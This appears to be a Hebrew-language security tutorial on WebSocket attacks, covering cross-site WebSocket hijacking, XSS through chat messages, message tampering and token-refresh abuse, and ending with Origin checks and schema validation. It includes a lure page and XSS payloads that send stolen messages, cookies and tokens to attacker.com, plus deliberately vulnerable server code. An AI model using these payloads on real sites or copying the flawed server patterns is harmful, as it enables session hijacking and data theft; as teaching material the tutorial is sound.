תקיפת WebSockets - WebSocket Attacks¶
סקירת פרוטוקול WebSocket¶
WebSocket מספק ערוץ תקשורת דו-כיווני (full-duplex) מתמשך בין דפדפן לשרת. בניגוד ל-HTTP שעובד במודל בקשה-תגובה, WebSocket מאפשר לשני הצדדים לשלוח הודעות בכל זמן.
תהליך Handshake¶
החיבור מתחיל בבקשת HTTP upgrade:
GET /chat HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://example.com
Cookie: session=abc123
תגובת השרת:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
לאחר ה-handshake, החיבור עובר ל-WebSocket protocol ושני הצדדים יכולים לשלוח frames.
שימוש בסיסי ב-JavaScript¶
// create the connection
let ws = new WebSocket('wss://example.com/chat');
// events
ws.onopen = function() {
console.log('Connected');
ws.send(JSON.stringify({ type: 'join', room: 'general' }));
};
ws.onmessage = function(event) {
let data = JSON.parse(event.data);
console.log('Received:', data);
};
ws.onerror = function(error) {
console.error('WebSocket error:', error);
};
ws.onclose = function(event) {
console.log('Disconnected:', event.code, event.reason);
};
חטיפת WebSocket בין אתרים - CSWSH¶
Cross-Site WebSocket Hijacking (CSWSH) מנצל את העובדה ש-WebSocket handshake מבוצע כבקשת HTTP, ועוגיות נשלחות אוטומטית. אם השרת לא בודק את header Origin, תוקף יכול ליצור חיבור WebSocket מדף שלו באמצעות ה-session של הקורבן.
שרת WebSocket פגיע¶
const WebSocket = require('ws');
const http = require('http');
const server = http.createServer();
const wss = new WebSocket.Server({ server });
wss.on('connection', function(ws, req) {
// vulnerable! no Origin check
let cookies = parseCookies(req.headers.cookie);
let session = getSession(cookies.session);
if (!session) {
ws.close();
return;
}
ws.user = session.user;
ws.on('message', function(message) {
let data = JSON.parse(message);
switch (data.type) {
case 'getMessages':
let messages = db.getMessages(ws.user.id);
ws.send(JSON.stringify({ type: 'messages', data: messages }));
break;
case 'sendMessage':
db.saveMessage(ws.user.id, data.content);
broadcast(data.content, ws.user.name);
break;
case 'getProfile':
let profile = db.getProfile(ws.user.id);
ws.send(JSON.stringify({ type: 'profile', data: profile }));
break;
}
});
});
server.listen(8080);
דף תוקף ל-CSWSH¶
<!DOCTYPE html>
<html>
<head><title>Win a Prize!</title></head>
<body>
<h1>Loading your prize...</h1>
<script>
// connect to the victim's server - the victim's cookies are sent automatically
let ws = new WebSocket('wss://vulnerable.com/chat');
ws.onopen = function() {
console.log('[+] Connected with victim session');
// stealing messages
ws.send(JSON.stringify({ type: 'getMessages' }));
// stealing profile
ws.send(JSON.stringify({ type: 'getProfile' }));
};
ws.onmessage = function(event) {
let data = JSON.parse(event.data);
console.log('[+] Stolen data:', data);
// sending to the attacker's server
fetch('https://attacker.com/collect', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: event.data
});
};
</script>
</body>
</html>
הinjection ומניפולציה של הודעות WebSocket¶
הinjection הודעות - XSS דרך WebSocket¶
כאשר הודעות WebSocket מוצגות בדף ללא sanitization:
// vulnerable client code
ws.onmessage = function(event) {
let data = JSON.parse(event.data);
if (data.type === 'chat') {
let messageDiv = document.createElement('div');
messageDiv.innerHTML = data.message; // XSS!
document.getElementById('chat').appendChild(messageDiv);
}
};
הinjection XSS דרך הודעת צ'אט:
ws.send(JSON.stringify({
type: 'sendMessage',
content: '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">'
}));
מניפולציה של הודעות עם Burp Suite¶
ניתן ליירט ולשנות הודעות WebSocket דרך Burp:
1. Open Burp Suite
2. Go to Proxy -> WebSockets history
3. Click on a message -> Send to Repeater
4. Change the message content
5. Send
דוגמה לשינוי הודעה:
// original message
{"type": "transfer", "amount": 100, "to": "user123"}
// modified message
{"type": "transfer", "amount": 100000, "to": "attacker456"}
בעיות אימות ב-WebSockets¶
אימות מבוסס עוגיות בלבד¶
// vulnerable server - authentication only at handshake
wss.on('connection', function(ws, req) {
let session = getSessionFromCookie(req.headers.cookie);
ws.user = session.user;
// no additional authentication on messages!
ws.on('message', function(message) {
let data = JSON.parse(message);
// performs actions on behalf of ws.user without further authentication
handleAction(ws.user, data);
});
});
חוסר בהרשאות ברמת הודעה¶
// vulnerable server - no permission check
ws.on('message', function(message) {
let data = JSON.parse(message);
if (data.type === 'adminAction') {
// no check whether the user is admin!
performAdminAction(data);
}
if (data.type === 'deleteUser') {
// no check whether there's permission to delete
db.deleteUser(data.userId);
}
});
אימות מבוסס טוקן¶
// improved server - authentication with a token
wss.on('connection', function(ws, req) {
let authenticated = false;
ws.on('message', function(message) {
let data = JSON.parse(message);
if (data.type === 'auth') {
let user = verifyToken(data.token);
if (user) {
authenticated = true;
ws.user = user;
ws.send(JSON.stringify({ type: 'auth_success' }));
} else {
ws.close(4001, 'Invalid token');
}
return;
}
if (!authenticated) {
ws.close(4001, 'Not authenticated');
return;
}
// handling messages only for authenticated users
handleMessage(ws.user, data);
});
});
הבעיה - הטוקן נשלח בהודעה ראשונה ואז נשמר ב-memory. אם תוקף מחליף session:
// attacker sends a stolen token
ws.onopen = function() {
ws.send(JSON.stringify({
type: 'auth',
token: stolenToken
}));
};
דליפת מידע דרך WebSocket¶
הודעות עם מידע רגיש¶
// server that sends more data than needed
ws.on('message', function(message) {
let data = JSON.parse(message);
if (data.type === 'getUser') {
let user = db.getUser(data.userId);
// sends the entire object including sensitive data!
ws.send(JSON.stringify({
type: 'user',
data: user // includes password hash, email, phone, etc.
}));
}
});
ניטור WebSocket traffic¶
// monitoring script that runs in the console
(function() {
let originalSend = WebSocket.prototype.send;
WebSocket.prototype.send = function(data) {
console.log('[WS SEND]', data);
return originalSend.call(this, data);
};
let originalOnMessage = Object.getOwnPropertyDescriptor(
WebSocket.prototype, 'onmessage'
);
Object.defineProperty(WebSocket.prototype, 'onmessage', {
set: function(handler) {
let wrappedHandler = function(event) {
console.log('[WS RECV]', event.data);
return handler.call(this, event);
};
originalOnMessage.set.call(this, wrappedHandler);
}
});
})();
XSS מבוסס WebSocket¶
הinjection סקריפט דרך WebSocket¶
// vulnerable chat server
ws.on('message', function(message) {
let data = JSON.parse(message);
if (data.type === 'chat') {
// broadcasts the message to everyone connected
wss.clients.forEach(function(client) {
if (client.readyState === WebSocket.OPEN) {
client.send(JSON.stringify({
type: 'chat',
user: ws.user.name,
message: data.message // no sanitization!
}));
}
});
}
});
// vulnerable client
ws.onmessage = function(event) {
let data = JSON.parse(event.data);
if (data.type === 'chat') {
let chatBox = document.getElementById('chat');
chatBox.innerHTML += `<b>${data.user}:</b> ${data.message}<br>`; // XSS!
}
};
שליחת הודעת XSS:
ws.send(JSON.stringify({
type: 'chat',
message: '<img src=x onerror="new Image().src=\'https://attacker.com/steal?\'+document.cookie">'
}));
הexploit חיבור מחדש וריענון טוקנים¶
race condition בהתחברות מחדש¶
// client that reconnects automatically
function connect() {
let ws = new WebSocket('wss://example.com/chat');
ws.onclose = function() {
// reconnects after 3 seconds
setTimeout(connect, 3000);
};
ws.onopen = function() {
// sends the auth token
ws.send(JSON.stringify({
type: 'auth',
token: localStorage.getItem('authToken')
}));
};
}
אם התוקף מצליח לשנות את localStorage.authToken (דרך XSS, prototype pollution, וכו'), ההתחברות מחדש תשתמש בטוקן של התוקף.
הexploit token refresh¶
// server that refreshes tokens via WebSocket
ws.on('message', function(message) {
let data = JSON.parse(message);
if (data.type === 'refreshToken') {
let newToken = generateToken(ws.user);
ws.send(JSON.stringify({
type: 'newToken',
token: newToken
}));
}
});
תוקף עם CSWSH יכול לבקש טוקן חדש עבור הקורבן:
// attacker's page
let ws = new WebSocket('wss://vulnerable.com/chat');
ws.onopen = function() {
ws.send(JSON.stringify({ type: 'refreshToken' }));
};
ws.onmessage = function(event) {
let data = JSON.parse(event.data);
if (data.type === 'newToken') {
// stealing the new token
fetch('https://attacker.com/steal?token=' + data.token);
}
};
שרת WebSocket פגיע - קוד מלא¶
const WebSocket = require('ws');
const http = require('http');
const express = require('express');
const app = express();
const server = http.createServer(app);
const wss = new WebSocket.Server({ server });
// no Origin check!
wss.on('connection', function(ws, req) {
let cookies = parseCookies(req.headers.cookie || '');
let session = sessions[cookies.session];
if (!session) {
ws.close(4001, 'Unauthorized');
return;
}
ws.user = session.user;
ws.isAlive = true;
ws.on('message', function(message) {
try {
let data = JSON.parse(message);
switch (data.action) {
case 'chat':
// vulnerable - XSS
broadcast({
action: 'chat',
user: ws.user.name,
message: data.message // no sanitization
});
break;
case 'getHistory':
// vulnerable - no room permission check
let history = db.getChatHistory(data.room);
ws.send(JSON.stringify({ action: 'history', data: history }));
break;
case 'privateMessage':
// vulnerable - no validation
let target = findUser(data.targetUser);
if (target) {
target.send(JSON.stringify({
action: 'privateMessage',
from: ws.user.name,
message: data.message
}));
}
break;
case 'updateProfile':
// vulnerable - mass assignment
Object.assign(ws.user, data.profile);
db.updateUser(ws.user);
break;
}
} catch (e) {
ws.send(JSON.stringify({ error: e.message })); // vulnerable - exposes errors
}
});
});
function broadcast(data) {
let msg = JSON.stringify(data);
wss.clients.forEach(client => {
if (client.readyState === WebSocket.OPEN) {
client.send(msg);
}
});
}
server.listen(8080);
הגנה¶
ולידציית Origin ב-handshake¶
const ALLOWED_ORIGINS = ['https://app.example.com', 'https://admin.example.com'];
wss.on('connection', function(ws, req) {
let origin = req.headers.origin;
if (!ALLOWED_ORIGINS.includes(origin)) {
ws.close(4003, 'Origin not allowed');
return;
}
// ...
});
אימות חיבורי WebSocket¶
wss.on('connection', function(ws, req) {
// authenticate with a token in the URL (goes over TLS)
let url = new URL(req.url, 'wss://example.com');
let token = url.searchParams.get('token');
let user = verifyJWT(token);
if (!user) {
ws.close(4001, 'Invalid token');
return;
}
ws.user = user;
});
ולידציית פורמט הודעות¶
const Joi = require('joi');
const messageSchema = Joi.object({
action: Joi.string().valid('chat', 'getHistory', 'privateMessage').required(),
message: Joi.string().max(1000).optional(),
room: Joi.string().alphanum().max(50).optional(),
targetUser: Joi.string().alphanum().max(50).optional()
});
ws.on('message', function(message) {
try {
let data = JSON.parse(message);
let { error, value } = messageSchema.validate(data);
if (error) {
ws.send(JSON.stringify({ error: 'Invalid message format' }));
return;
}
handleValidMessage(ws, value);
} catch (e) {
ws.send(JSON.stringify({ error: 'Invalid JSON' }));
}
});
סיכום¶
תקיפות WebSocket מנצלות את העובדה שהפרוטוקול לא מספק הגנות מובנות כמו CSRF tokens או SOP. חטיפת WebSocket בין אתרים (CSWSH) היא התקיפה הנפוצה ביותר, וניתן למנוע אותה על ידי ולידציית Origin. בנוסף, יש להקפיד על sanitization של הודעות, אימות ברמת הודעה (לא רק ב-handshake), ובקרת הרשאות לכל פעולה.